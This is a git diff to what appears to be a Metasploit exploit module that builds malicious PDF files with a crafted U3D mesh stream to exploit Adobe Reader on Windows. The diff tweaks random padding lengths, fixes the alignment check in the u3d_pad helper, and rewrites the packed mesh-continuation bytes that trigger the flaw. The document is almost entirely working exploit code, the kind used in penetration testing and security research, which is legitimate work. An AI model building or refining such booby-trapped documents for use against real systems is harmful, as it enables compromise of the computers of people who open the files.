diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
index 60a4d229a5..258b73baf1 100644
--- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
+++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
@@ -230,7 +230,7 @@ Original notes on heap technique used in this exploit:
 			}).to_s
 		
 		# create the u3d stuff
-		u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(32)+4))
+		u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
 		
 		# Create the pdf
 		pdf = make_pdf(u3d, js_doc, js_pg1)
@@ -290,7 +290,7 @@ Original notes on heap technique used in this exploit:
 	
 	def u3d_pad(str, char="\x00")
 		ret = ""
-		if (str.length % 4)
+		if (str.length % 4) > 0
 			ret << char * (4 - (str.length % 4))
 		end
 		return ret
@@ -364,25 +364,10 @@ Original notes on heap technique used in this exploit:
 		cont_data << meshname
 		cont_data << [0].pack('V') # chain idx
 		cont_data << [0].pack('V') # start resolution
-		cont_data << [0].pack('V') # end resolution 
-		cont_data << [0].pack('V') # split position index
-		# new diffuse color info
-		cont_data << [1].pack('v') # count
-		cont_data << "\x00" # difference sign
-		cont_data << "\x00" # pad
-		cont_data << [1].pack('V') 
-		cont_data << [1].pack('V') 
-		cont_data << [1].pack('V')
-		cont_data << [1].pack('V')
-		# new specular color info
-		cont_data << [1].pack('v') # count
-		cont_data << "\x00" # sign
-		cont_data << "\x00" # pad
-		cont_data << [1].pack('V')
-		cont_data << [1].pack('V')
-		cont_data << [1].pack('V')
-		cont_data << [1].pack('V')
-		# new texture coord info
+		cont_data << [0].pack('V') # end resolution
+		# no resolution update, unknown data follows
+		cont_data << [0].pack('V')
+		cont_data << [1].pack('V') * 10
 		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
 		mesh_cont << cont_data
 		mesh_cont << u3d_pad(cont_data)